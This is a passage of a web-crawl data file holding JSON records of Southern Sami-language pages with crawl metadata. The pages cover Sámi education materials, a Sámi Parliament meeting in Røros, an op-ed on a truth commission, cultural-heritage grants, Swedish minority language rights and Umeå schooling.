Duvrien-ålmaKjernestoff\nLaavenjassh: VaajeseKjernestoff\nLaavenjassh: Biejjien nïejteKjernestoff\nLaavenjassh: Klies KliemmaKjernestoff\nLaavenjassh: Nahkoergöörnjen giebnieKjernestoff\nLaavenjassh: Naahkoegöörnje jaememeKjernestoff\nLaavenjassh: TjuvrieKjernestoff\nLaavenjassh: DïejveshKjernestoff\nDïhte gollehke tïjjeKjernestoff\nBrorkeKjernestoff\nGurhtieKjernestoff\nRiepieKjernestoff\nStaaloej bïjreKjernestoff\nDellie goh staaloe moere-galtine pruvriKjernestoff\nAkte staaloe mij dakterem utniKjernestoff\nStaaloe jïh åerpienadtjhKjernestoff\nNjeevetje-ietnie jïh RovhtegeKjernestoff\nSaajve-jaevresne gööleminieKjernestoff\nSaemie saajvi luvnieKjernestoff\nBïerneKjernestoff\nSaemien jïh boelt-aajjan dååjvehtseKjernestoff\nDuvrien-ålmaKjernestoff\nBiejjien nïejteKjernestoff\n- Kjernestoff\nNahkoergöörnjen giebnieKjernestoff\nNahkoergöörnjen jaememeKjernestoff\nSjeltien nåejtieKjernestoff\nTjuvrieKjernestoff","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:182073\/topic:1:131964\/topic:1:185443\/resource:1:129518","date":"2019-09-20T21:42:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514574077.39\/warc\/CC-MAIN-20190920200607-20190920222607-00428.warc.gz","language":"sma","language_score":0.9998338819,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 0.999833881855011}","num_words":485,"character_repetition_ratio":0.157,"word_repetition_ratio":0.0,"special_characters_ratio":0.144,"stopwords_ratio":0.06,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"ÅARJELSAEMIEN FONEEMETEESTE - Skååringegihpe\n\n\nMaana edtja jiehtedh maam guvvide satne guvviegærjesne vuajna. Jis maanan leah dåeriesmoerh baakoem guvvesne jiehtedh, teesteåejvie byöroe maanam viehkiehtidh baakoem gaavnedh. Jis maana ij jïjtje maehtieh baakoem gaavnedh, dellie teesteåejvie dam jeahta jïh stillie maanam dam baakoem mubpesth jiehtedh. Goeresne teesteåejvie tjaala mah baakoeh maana mubpesth jeahta. Gosse maana aktem baakoem båajhtoehlaakan jeahta, dellie teesteåejvie baakoem tjaala naemhtie guktie maana dam jeahta dan sæjjan goeresne gusnie tjåådtje «maana jeahta». Jeatjah aath maahta tjaeledh «mïerhkesjimmen» nualan.\nUtgitt: 2018\nSider: 21\nHeftet\nISBN: 978- 82-8263-319-2","id":"","dump":"CC-MAIN-2019-39","url":"http:\/\/calliidlagadus.org\/web\/index.php?egavpi=1&girji=532&giella1=nor","date":"2019-09-20T18:21:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514574058.75\/warc\/CC-MAIN-20190920175834-20190920201834-00382.warc.gz","language":"sma","language_score":1.000002861,"language_script":"Latn","minhash_cluster_size":26,"top_langs":"{\"sma_Latn_score\": 1.0000028610229492}","num_words":82,"character_repetition_ratio":0.092,"word_repetition_ratio":0.0,"special_characters_ratio":0.184,"stopwords_ratio":0.037,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkien byjjenimmie-, hokse- jïh ööhpehtimmiemoenehtse lea moenehtsefeelemisnie Rørosesne mubpien våhkoen jïh dan sjïekenisnie ræhpas almetjetjåanghkose bööresåvva teemine «Akte jaepie saemien gïelen reeremedajvesne».\nSaemiedigkien byjjenimmie-, hokse- jïh ööhpehtimmiemoenehtse Rørosem vååksje dan gaavhtan Røros lea saemien gïelen reeremedajvesne orreme aktem jaepiem.\nSaemiedigkien byjjenimmie-, hokse- jïh ööhpehtimmiemoenehtse åejviedïedtem åtna siebriedahkesuerkine byjjenimmie, ööhpehtimmie, gïele jih healsoe. Moenehtsefeelemisnie edtjieh jienebh tjåanghkoeh tjïrrehtidh ovmessie institusjovnigujmie dej göökte biejjiej.\n– Mijjieh sijhtebe vielie evtiedimmien bïjre lïeredh saemien siebriedahkeste dajvesne, jïh joekoen dej dååjrehtimmiej bïjre gosse meatan saemien gïelen reeremedajvesne. Sïjhtebe maaje govledh mah dååjrehtimmieh ovmessie institusjovnh utnieh dovne åvtelen jïh mænngan goh tjïelte meatan sjïdti saemien gïelen reeremedajvesne, moenehtsen åvtehke Márjá-Liissá Partapuoli jeahta.\nAlmetjetjåanghkoe: «Akte jaepie saemien gïelen reeremedajvesne»\nDæjstan 10.09.19 Saemiedigkien byjjenimmie-, hokse- jïh ööhpehtimmiemoenehtse årroejidie Rørosesne akten ræhpas almetjetjåanghkose böörede teemine «Akte jaepie saemien gïelen reeremedajvesne». Almetjetjåanghkoe lea Røros hotellesne.\nMoenehtse årroejidie haasta dååjrehtimmieh jïh haestemh juekedh.\n– Mijjieh aavoedibie årrojigujmie govlesadtedh jïh åadtjodh govledh dej dååjrehtimmiej bïjre gosse lea meatan saemien gïelen reeremedajvesne. Mah sertiestimmie orreme goh veanhtadamme? Mij lea jarkelamme? Maam datne lih sïjhteme lij jeatjahlaakan? Mijjese gieltegs lïeredh maam nåhtojde siebriedahke daestie åtna, moenehtsen åvtehke Márjá-Liissá Partapuoli jeahta.","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/rorosnytt.no\/akte-jaepie-saemien-gielen-reeremedajvesne\/","date":"2019-09-19T14:39:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514573533.49\/warc\/CC-MAIN-20190919142838-20190919164838-00509.warc.gz","language":"sma","language_score":0.9999927282,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999927282333374}","num_words":183,"character_repetition_ratio":0.121,"word_repetition_ratio":0.0,"special_characters_ratio":0.138,"stopwords_ratio":0.169,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Akte åeniedamme låhkoe daehtie kronihkeste bæjhkoehtamme sjïdti sijjesne NRK Ytring 12.04.17. Dam maahtah lohkedh daesnie.\nDle saahtah gaahtoe voessen sistie luajhtasovvi – reerenasse ij sïjhth skraejriem vaeltedh akten saetniesvoetekommisjovnese daaroedehtemen bïjre saemijste dan åvteste dah billieh sijjieh veanhtadimmieh orre råajvarimmiej bïjre sjugniedieh. Im maehtieh jiehtedh manne ierielimmesne, men nov leam håjnoes. Håjnoes dan åvteste akte hijven ektievoete daaroej jïh saemiej gaskem tsihkestahta mijjieh libie vyljehke mijjen ektie histovrijasse vuartasjidh. Vyljehke dejtie konsekvenside vuartasjidh mah staaten politihke saemiej vööste leah åtneme, jïh maam dïhte lea mijjine dorjeme goh åålmege jïh aktegs almetjh.\nSaemien siebriedahkesne gellie histovrijh mah eah leah soptsesovveme jïh gellie saejrieh mah eah leah jealajamme. Histovrijh akten tïjjen bïjre gusnie hiejhteme identiteeteste, gïeleste jïh kultuvreste akte gæmhpoe sjïdti mejtie edtji årrodh jallh ij årrodh – jeenjesidie. Soptsestimmieh saejriej bïjre mah leah dabranamme kråahpine jïh mïeline almetjidie, jïh mah maehtieh viehkiehtidh tjïelkestidh man åvteste dah dam daaletje tïjjem dååjroeh goh darjoeh.\nMan bïjre Saemiedigkie raaktan birrie?\nBaajh mannem dam tjïelkestidh: Ij leah daate lahtestimmie akten budsjedtedigkiedæmman, gusnie Saemiedigkie vielie dåarjoej bïjre staateste birrie. Mijjieh ræhpas prosessem sïjhtebe, gusnie staate skraejriem vaalta daaroedehtiemasse vuartasjidh, jïh mah konsekvensh daate lea åtneme almetjidie jïh siebriedahkese. Guktie illedahkh sjidtieh jïh guktie edtja daam gïetedidh lea naakede mïsse tjuara vuajnoem utnedh dellie. Ibie maehtieh åvtelhbodti illedahkem aktede kommisjovnebarkoste daejredh. Tjoerebe astedh vuertedh. Mijjese lea vihkeles nuepiem åadtjodh olkese båetedh gelliej tjuetie jaepiej tjïrrh dïedtelgimmine jïh vuelege jïjtjedomtesinie. Daate lea geajnoen bïjre guhkiebasse, mijjese goh nasjovne jïh åålmege. Saemien åålmege ij leah ussjedamme jïjtjemse våålese offereråållan sïjse kroehkedh. Mijjieh ussjedamme båetijen aejkien sïjse vaedtsedh goh akte garmeres åålmege aktine tjïelkestamme tsiehkine mijjen histovrijasse.\nJeenjesh sijhtieh jiehtedh: Dijjen lea nuepie demokrateles meatan årrodh Saemiedigkien jïh rååresjimmielatjkoen tjïrrh. Gånka Harald lea dijjem gaatelassjeme dan byögkeles Nöörjen bieleste. Ij leah nuekie?\nIjje, ij leah nuekie. Staate lea viehkiehtamme Saemiedigkiem tseegkedh jïh mijjen vaarjelamme maadthlaaken tjïrrh. Men mijjen histovrijes saejrieh leah gïengelåbpoe goh numhtie, jïh aktem jïjtse reejnemeprosessem jis edtjieh jealajidh.\nJuktie måahtadimmieprosessem buektiehtidh dle tjuara saetniesvoetem vihtiestidh. Daesnie maehtebe lïeredh stoerre ålmijste goh Desmond Tutu jïh altese barkoe måahtadimmien åvteste. Saetniesvoete tjuara vihtiestamme sjïdtedh jïh dïhte mij ovreaktan tjïrrh lij vaaltasovveme almetjijstie tjoeri bååstede deellesovvedh. Saemien åålmege lea aaj dååjreme sijjen kultuvrem, gïelem jïh jieledevuekiem dassedh. Dïhte mij ovreaktan tjïrrh lea mijjeste vaaltasovveme ij leah annje bååstede vadtasovveme. Bååstedeprosjekte dam vuesehte. Gellie tjuetiejaepiej tjïrrh saemien daeverh leah veedtjeme saemien siebriedahkeste jïh bïejeme museumidie. Daelie aktene prosessesne gusnie birrebe dejtie bååstede åadtjodh saemien museumidie. Men daate ij maehtieh sjugniehtovvedh åvtelen staate lea vyljehke reeknegem vaeltedh bååstedesertemen åvteste jïh våarhkoe saemien museuminie. Ij gåessie gænnah gåaredh aktem vïenevoetem dåvvodh jis datne dov voelpeste sualedh jïh soelkedimmien bïjre birrh bielelen datne leah vyljehke bååstede vedtedh maam datne sualadamme.\nSaemien gærhkoegaertenh leah histovrijen tjïrrh sualasovveme dotkijijstie, bueriesjugniedimmine gærhkoste jïh staateste. Dan åvteste dle baatsahtassh mijjen maadtojste våarhkosne aktene gaptjeldihkie magasijnesne Oslosne daan biejjien. Daate lea gïengeles saejrieh dennie saemien almetjesealosne, mah tjuerieh reejnesovvedh viehkine staateste mij tjuara vyljehke årrodh dïedtem vaeltedh bååstedesertemen åvteste.\nSårkoe teehpeme gïeleste, identiteeteste jïh daajroevaanoste jïjtse histovrijen bïjre, lea gaajh nåake såamasidie. Akte sårkoe mïsse viehkiem staateste daarpesjibie dåvvodh.\nSaemien jïjtjedomtese lea veaksahkåbpoe sjïdteme dej minngemes jaepiej. Dan veaksehke guktie doestebe taabuvh tsööpkedh jïh nåake tsiehkiej bïjre soptsestidh jïjtjene siebriedahkesne. Marion Knutsenen eerlegevoete seksuelle daaresjimmiej bïjre Divtasvuodnesne lea vihkeles orreme gellide. Aadtjen libie åehpiedahteme dotkemereektehtsem «Jis doesth gihtjedh, almetjh duestieh vaestiedidh». Reektehtse vuesehte vædtsoesvoete saemien siebriedahkine lea akte stoerre taabuve, jïh histovrijes psykiske vaejvieh daaroedehtemen gaavhtan lea akte dejstie faktorijstie mij dam buerkeste. Mijjieh akten laavenjostoen bïjre birrebe reerenassine juktie eadtjohkelaakan vædtsoesvoeten vööste barkedh, jïh fåantoem gaavnedh man åvteste numhtie. Annjebodts ibie vaestiedassem åådtjeme.\nMen jeatjah guejmieh dam seamma daerpiesvoetem vuejnieh goh mijjieh. Saemien gærhkoeraerie sæjhta eadtjohke guejmine årrodh aktene saetniesvoetekommisjovnesne. Kveeni aaj akte histovrije, jïh dïsse aaj daerpies veelebe gïehtjedidh. Tjirkijh Stoerredigkesne, mah vuejnieh daerpies saetniesvoetem buartan åadtjodh aaj aamhtesem bæjjese lutnjeme.\nDennie abpeveartenen aalkoealmetjeveartenisnie daate akte åehpies aamhtese. Canada lea doesteme sov koloniseradimmiehistovrijem itjmieslaakan vaeltedh jïh jååhkesje satne aalkoealmetjidie stoerre vaejvieh vadteme.\nMijjieh sïjhtebe eadtjohke guejmine årrodh saetniesvoete- jïh måahtadimmieprosessesne. Sæjhta akte prosesse årrodh mij aaj sæjhta sååjrehke årrodh mijjese, men mijjieh mïelebe tïjje lea båateme dam daelie vaeltedh. Dellie ovmurreds nöörjen reerenasse ij doesth saetniesvoetese vuartasjidh mijjine ektine.","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.saemiedigkie.no\/Saemiedigkien-bijre2\/Arkiv-perioden-2016-2017\/Saernievaaarhkoe\/Kronihke-Edtjebe-doestedh-histovrijasse-vuartasjidh","date":"2019-09-20T10:28:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514573988.33\/warc\/CC-MAIN-20190920092800-20190920114800-00308.warc.gz","language":"sma","language_score":1.0000056028,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.0000056028366089}","num_words":689,"character_repetition_ratio":0.045,"word_repetition_ratio":0.0,"special_characters_ratio":0.133,"stopwords_ratio":0.157,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dåarjoe saemien kultuvrebyjresidie\nDaajrah saemien bigkemem jallh byjresem maam byöroe gorredidh? Jaepiej 2018-2020 mietie Leeneståvroe sjïere lutnjie dåarjoem prosjeektese mij kultuvrebyjresh Saepmesne tsavtsa. Daate dovne damtoes jallh ov-damtoes saemien kultuvrebyjresh jïh dah njieljie leeneståvroeh noerhtemes leenine ektesne daam darjoeh.\nDatne maahtah dåarjoem ohtsedh jïh soptsesh tjöönghkedh, orre maahtoem ohtsedh jïh bïevnesh bïevnedh jallh saemien kultuvrebyjresidie hoksedh jïh restaureradidh. Datne gie ohtsh maahtah privaatealmetje, sïelten, tjïelten, stiftelsen jallh jeatjah organisasjovnen barkije årrodh.\nMaahta dåarjoem ohtsedh dejtie:\n- hoksedh jïh restaureradidh\n- bïevnedh\n- maahtoem tseegkedh kultuvrebyjresi bïjre\nMaahta dåarjoem ohtsedh 2018-2020 mietie. Prosjeekte mij edtja jaepien 2019 mietie aelkedh dellie ohtseme edtja Leeneståvrose båetedh minngemes goevten 15.b. 2019. Jis byjrese jeatjah eekije åtna enn ohtsije dellie eekije tjuara luhpiem vedtedh barkose mij maahta byjresem fysiske vuekine tsevtsedh.\nDatne gie dåarjoem ohtsh tjoerh aaj jïjtje dejnie barkedh, vuesiehtimmien gaavhtan almetjh gihtjedidh, prosjeektem soejkesjidh jallh bïevnesematerijaalem buektedh. Prosjeekte barkoen stoeredahkem tsavtsa.\nFysiske byjresasse noeredh\nJis galka dåarjoem åadtjodh dellie prosjeekte edtja fysiske kultuvrebyjresasse noeredh. Maahta gööthsijjiem, gaaltije, bigkemem jallh stuerebe dajvem årrodh, men aaj mojhtesh jïh njaalmeldh soptsesh tjöönghkedh sijjien jallh almetji bïjre mah sæjjan noeredh. Kultuvrebyjresem tjuara mubpide bïevnesinie vuasahtalledh, vuesiehtimmien gaavhtan skïltine, tjaaleginie, webbesijjine jallh ovmessie öörneminie vuesiehtimmien gaavhtan lohkeminie jïh soptsestimmie-iehkiedinie.\nLeeneståvroe sjïere ohtsemh böörie prosjeektide mij ij leah dan beagkoes deahpadimmiej jïh aspekti bïjre saemien aerpievuekeste jallh maana- jïh nyjsenæjjaperspektijveste lutnjie.\nTjåenghkies dåarjoehtimmie\nLeeneståvroeh Norrbottenen, Västerbottenen, Jïemhten jïh Västernorrlaanten leenine tjåenghkies dåarjoehtimmiem darjoeh. Staaten dåarjoe daam maaksa, staaten dåarjoe stuvremasse aarvoes kultuvrebyjresh mij Leeneståvroe åådtje Riksantikvarieämbeteten luvhtie.","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.lansstyrelsen.se\/vasterbotten\/foretag\/mark-och-bebyggelse\/kulturmiljo\/daarjoe-saemien-kultuvrebyjresidie.html","date":"2019-09-16T13:17:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514572556.54\/warc\/CC-MAIN-20190916120037-20190916142037-00207.warc.gz","language":"sma","language_score":1.0000054836,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"sma_Latn_score\": 1.0000054836273193}","num_words":241,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.143,"stopwords_ratio":0.091,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daelie Röörosen tjïelte lea reeremedajve aktem jaepiem orreme jïh daan biejjien Saemiedigkien byjjenimmie-, hokse- jïh ööhpehtimmiemoenehtse diekie Röörosese båata.\nDaan biejjien skïereden 10.biejjien dæjstan Saemiedigkien byjjenimmie-, hokse- jïh ööhpehtimmiemoenehtse Röörosese båata jïh edtja aktem ræhpas almetjetjåanghkoem öörnedh. Dan almetjetjåanghkoen aamhtese lea «Akte jaepie saemien gïelen reeremedajvesne» jïh edtja Röörosen hotellesne tsåahka 17.30-19.00 årrodh.\nÅvtehke Márjá-Liissá Partapuoli jeahta ahte Saemiedigkie sæjhta govledh guktie daan jaepien reeremedajvine orreme, maam almetjh daennie dajvesne ussjedieh, jis leah naanh haestemh jïh guktie Röörosen reeremedajve edtja båetije biejjide evtiedidh. Daan jaepien aaj lea aalkoealmetjegïeli gaskenasjonaale jaepie – IYIL 2019, jïh dannasinie Saemiedigkie sæjhta vielie gïeligujmie barkedh.\nMárjá-Liissá Partapuoli aaj jeahta hååhkesje almetjetjåanghkoe gieltegs sjædta, jïh aaj hååhkesje almetjh sïjhtieh dïsse tjåanghkose mïnnedh Saemiedigkien byjjenimmie-, hokse- jïh ööhpehtimmiemoenehtsinie soptsestidh.","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/rorosnytt.no\/daan-biejjien-saemiedigkie-almetjetjaanghkoem-oornie\/","date":"2019-09-19T14:58:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514573533.49\/warc\/CC-MAIN-20190919142838-20190919164838-00191.warc.gz","language":"sma","language_score":1.0000033379,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.0000033378601074}","num_words":119,"character_repetition_ratio":0.092,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.151,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Nasjonaale unnebelåhkoeh jïh unnebelåhkoegïelh\nSoemengïele, jiddish, meänkieli, romani chib jïh saemiengïelh jïh smaarehtjïerth dejstie gïelijste lea nasjonaale unnebelåhkoegïelh Sveerjesne. Jaepien 2009 raejeste laake nasjonaale unnebelåhkoej jïh unnebelåhkoegïeli bïjre jåhta. Daesnie bïevnesh gååvnesieh dej gïeleldh reaktah datne åtnah jïh mah datne maahtah krïevedh tjïeltijste jïh åejvieladtjijste dan laaken mietie.\nDïhte byögkelesvoete (tjïelth, laantedigkie jïh staaten åejvieladtjh) dïedtem utnieh dejtie nasjonaale unnebelåhkoegïelide vaarjelidh jïh gorredidh. Dïhte byögkelesvoete edtja aaj dej nasjonaale unnebelåhkoej nuepieh eevtjedh dej kultuvrem gorredidh jïh evtiedidh Sveerjesne.\nReeremeåejvieladtjh (vuesiehtimmie DO) edtja aaj dejtie nasjonaale unnebelåhkojde nuepiem tsevtsiemasse vedtedh dejtie gyhtjelasside mejgujmie guhtide duehtieh jïh sjïehteleslaakan unnebelåhkoej saadthalmetjigujmie dagkeri gyhtjelassine råårestalledh.\nÅejvieladtjigujmie gaskesadtedh\nDatne gie sïjhth soemengïelem, meänkieliem jallh saemiengïelide nuhtjedh reaktam eejnegen åtnah gïelem nuhtjedh gosse tjaaleldh vuekine DO:em jallh Rïjhkebiejjien saadthalmetjh (JO) gaskesadtedh. Datne maahtah DO:em govlesadtedh dovne e-påastine email@example.com jallh prievine tjaalesæjjanDiskrimineringsombudsmannen, Box 4057, 169 04 Solna.\nDatne aaj reaktam åtnah soemengïelem, meänkieliem jallh saemiengïelide nuhtjedh dov tjaaleldh gaskesadteminie Justitiekanslerinie, Försäkringskassine, Skatteverkine jïh Arbetsförmedlinginie.\nJis datne åejvieladtjem gaskesadth man barkoesuerkine ellies jallh biehkine dejstie soemengïelen, meänkielien jallh saemiengïeli reeremedajvine datne nuepiem åtnah aktem dejstie gïelijste nuhtjedh gosse åejvieladtjem gaskesadtedh. Akte krïevenasse lea datne ieriem åtnah åejvieladtjesne jïh ierie reeremedajvem gårreldihkie. Dov ierie lea dajvem gårreldihkie jis vuesiehtimmie datne dajvesne årroeh jallh dov ierie lea darjomem gårreldihkie mij dajvesne.\nAaj reeremedajven ålkoelisnie datne reaktam åtnah soemengïelem, meänkieliem jallh saemiengïelide njaalmeldh jallh tjaaleldh nuhtjedh gaskesadtemisnie åejvieladtjine jis datne ieriem åtnah åejvieladtjesne jïh jis ieriem maahta gïetedidh barkijistie gïeh gïelem maehtedh.\nDO:ine gaskesadtedh\nDO vaaksjoehtimmine barka abpe laantesne jïh maahta prosessh juhtedh dåapmoestovline abpe laantesne. Jis DO vaaksjoehtimmiem dorje darjoemistie mij lea dov dïedtem jallh jis DO dov åvteste soptseste dåapmoestovlesne datne reaktam åtnah soemengïelem, meänkieliem jallh saemiengïelem nuhtjedh, jis dov ierie reeremedajvem gårreldihkie dov gïelese. Datne dellie reaktam åtnah DO:em gaskesadtedh njaalmeldh jïh tjaaleldh dov gïelesne. DO tjuara dellie dutnjien njaalmeldh vaestiedidh seamma gïelesne. Jis datne ij leah naan juridihken sæjjasadtjem datne aaj reaktam åtnah tjaaleldh jarkoestimmiem åadtjodh åejvieladtjen nænnoestimmeste.\nDåapmestovlh\nJis datne aamhtesem jallh ieriem aktene dåapmestovlesne mij darjomem åtna tjïeltine Jiellevárre, Haparanda, Giron, Bájil j ïh Övertorneå datne reaktam åtnah soemengïelem jallh meänkieliem nuhtjedh jis aamhtesem jallh ieriem gårreldihkie naaken dejstie tjïeltijste gårreldahkesne. Seammalaakan saemien gïelem dan dagkere dåapmoestovlese mij dåapmoegievlie abpe jallh biehkine gårreldahkesne daejtie tjïeltide Árjjepluovve, Jiellevárre, Jåhkkemåhkke jallh Giron, jis aamhtesem jallh ieriem naaken dejstie tjïeltijste vïedteldahkesne.\nJis datne sïjhth dov gïelem nuhtjedh dåapmoestovlesne edtja daam dåapmoestovlese bïeljelidh gosse aamhtese jallh ierie aalka jallh voestes aejkien datne edtjh aamhtesisnie jallh ieresne soptsestidh.\nPedagogeles darjome jïh voeresehokse\nJis datne tjïeltesne årroeminie mij lea reeremedajve soemengïelen, meänkielien jallh saemiengïeli åvteste edtja tjïelte, dov vaejtemen mænngan, maanese jallh maanide dov åelesne sijjiem faaledh maanahoksesne mij ellies jallh biehkine naaken dejstie gïelijste barka.\nSeamma vuekien mietie datne reaktam åtnah dagkeres tjïeltesne abpe jallh biehkine såajtoste jïh hokseste mah faalesåvva voeresehoksen mierien sisnie barkijistie gïeh soemengïelem, meänkieliem jallh saemiengïelem soptsestieh.\nJis datne tjïeltesne årroeh mij ij leah reeremedajvesne jallh ij leah dov gïelen reeremedajvesne bene barkijh åtna gïeh maehtieh soemengïelem, jiddish, meänkieliem, romani chib jallh saemiengïelem, edtja tjïelte dov vaejtemen mænngan voeresehoksem faaledh abpe jallh biehkine barkijijstie gïeh dov gïelem soptsestieh.\nSveerje goevten 2000 ratifiseradamme Europaraerien mieriekonvensjovnem vaarjelimmien bïjre nasjonaale unnebelåhkojde (mieriekonvensjovne) jïh europeijen njoelkedassem laantebiehkie- jallh unnebelåhkoegïeli bïjre (unnebelåhkoegïelekonvensjovne). Dah nasjonaale unnebelåhkoeh mah jååhkesjamme leah judarh, romerh, saemieh, sveerjesåevmieladtjh jïh torneladtjh. Dah nasjonaale unnebelåhkoegïelh mah jååhkesjamme leah såevmiengïele, jiddish, meänkieli, romani chib jïh saemiengïele jïh smaarehtjïerth dejstie gïelijste.\nDaesnie maahtah jienebh bïevnesh gaavnedh\nEuroparaerie\nEuroparaerie vååksje mieriekonvensjovne jïh unnebelåhkoekonvensjovnem seahkaridh. Dej webbesijjine maahtah gaskem jeatjebh gaavnedh illeldahkh goerehtimmijste Sveerjen seahkarimmiem konvensjovnijste.\nSaemiedigkie jïh leeneståvroe Stuehkesne\nLeeneståvroe Stuehkien leenesne jïh Saemiedigkie utnieh reerenassen barkoe unnebelåhkoepolitihken evtiedimmiem dåeriedidh jïh gïehtjedidh guktie laakine unnebelåhkoej bïjre berkieh.\nMinoritet.se\nWebbesijjie dej nasjonaale unnebelåhkoej åvteste. Webbesijjie maahtoem vadta aalkoealmetje saemiej bïjre jïh Sveerjen nasjonaale unnebelåhkoej bïjre, judarh, romerh, sveerjesåevmieladtjh jïh torneladtjh.\nTack för din medverkan!\nDin återkoppling hjälper oss att förbättra webbplatsen. Om du har fler frågor kan svaret finnas på Vanliga frågor till DO.\nTack för din medverkan!","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.do.se\/other-languages\/nasjonaale-unnebelahkoeh-jih-unnebelahkoegielh\/","date":"2019-09-20T18:06:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514574058.75\/warc\/CC-MAIN-20190920175834-20190920201834-00356.warc.gz","language":"sma","language_score":0.9999847412,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"sma_Latn_score\": 0.9999847412109375}","num_words":650,"character_repetition_ratio":0.098,"word_repetition_ratio":0.0,"special_characters_ratio":0.13,"stopwords_ratio":0.085,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Maadthskuvle\nGrundskola\nAarhskuvleklaasse\nGosse maana govhte jaepien båeries maahta aarhskuvleklaassem aelkedh. Dïhte prådtjoe gaskem aarhskuvle jïh skuvle gusnie maana åådtje skuvlebyjresem, barkijh jïh skuvlen pedagogihkem haarjene stååkedimmievuekine. Jïjnjh ryöjreden darjomh utnieh, vuesiehtimmien gaavhtan ryöjreden lohkeme jïh matematihke. Maanah aaj haarjanieh goltelidh, lïeredh guarkedh jïh bïhkedimmieh goltelidh.\nAarhskuvleklaasse medtie golme tæjmoeh biejjesne jïh daamhtaj maadthskuvlesne. Dan mænngan jeenjemes maanah skuvlemaanasåjhtosne, daamhtaj eejehtshïejmesne men aaj nuepie biejjiemaanahoksi luvnie årrodh gellie sijjieh Upmejisnie. Aarhskuvleklaasse skuvlen lohkemejaepiem dåerede jïh åesehts. Tjuara maeksedh dan tïjjen åvteste gosse maana skuvlemaanasåjhtosne dan taksan mietie.\nMaadthskuvle\nMaanah tjïjhtjen jaepien raejeste tjuara skuvlesne årrodh jïh eejnegen lïhkemes skuvlese årromedajvesne tjaalasåvva. Ij naan sjïere tjaalasovvemem krïevh. Jis eejhtegh\/åelieh sijhtieh maana edtja jeatjah maadthskuvlesne tjïeltesne årrodh tjuerieh ohtsemem dievhtedh. Jis sjïere sjiekieh gååvnesieh åelieh maehtieh ohtsedidh maana galka skuvlem aelkedh gosse gaektsie jaepien båeries.\nLïerehtimmie tjïelten maadthskuvline åesehts learoehkidie. Dah edtjieh namhtah åadtjodh gærja, tjaelemegaevnieh, dïrregh jïh jeatjah viehkiedïrregh mah dah daarpesjieh dej ööhpehtæmman. Skuvle galka jïjtje maeksedh darjomi åvteste skuvlen ålkone, vuesiehtimmien gaavhtan studijeguessemh, feelemh, lïejreskuvlh jïh ålkoebiejjieh jallh maahta prosjektevierhtieh jallh jeatjah eksterne maeksemem utnedh.\nGelliegïeleldh ööhpehtimmiem aelkedh\nHedlundaskuvle Upmejen jarngesne sjïere klaassh åtna maanide gïeh diekie jåhteme jeatjah laantijste jïh gïeh jeatjah ietniegïele åtna enn sveerjengïele. Daesnie learohkh 1–2 jaepieh årroeh åvteli skuvlese dej orremedajvesne juhtieh. Lohkh vielie Ietniegïelen nuelesne, lïngke åelkiesbielesne.\nHokse åvteli jïh skuvlebiejjien mænngan\nMaanah aarhskuvleklaassesne jallh learohkh maadthskuvlen jaepiekuvsjine 1–6 gïeh hoksem daarpesjieh åvteli jïh skuvlebiejjien mænngan sijjiem åadtjoeh eejehtshïejmesne jallh fuelhkiebiejjiehïejmesne. Tjïeltebieline sijjiem faala eejehtshïejmese. Eejehtsdarjoeh daamhtaj skuvlen lïhke gusnie learohke vaadtsa.\nEejehtshïejmen jïh fuelhkiebiejjiehïejmen sijjien åvteste maaksa jïh dam tïjjem maahta ohtsedidh gosse åelieh berkieh, lohkehtieh jallh barkoem ohtsedieh. Skuvlemaanahoksem aaj eejehtimmesne faala. Maanah gïej eejhtegh barkoem ohtsedieh åadtjoeh dej sijjiem utnedh eejehtshïejmesne bielelen tïjjemierie.\nUpmejisnie aaj jïjjegaahpoden darjoe gååvnese maanide 1–12 giej eejhtegh iehkeden, jïjjegen jïh hïelji berkieh. Lohkh vielie dan bïjre åelkiesbielesne.\nSidan har granskats 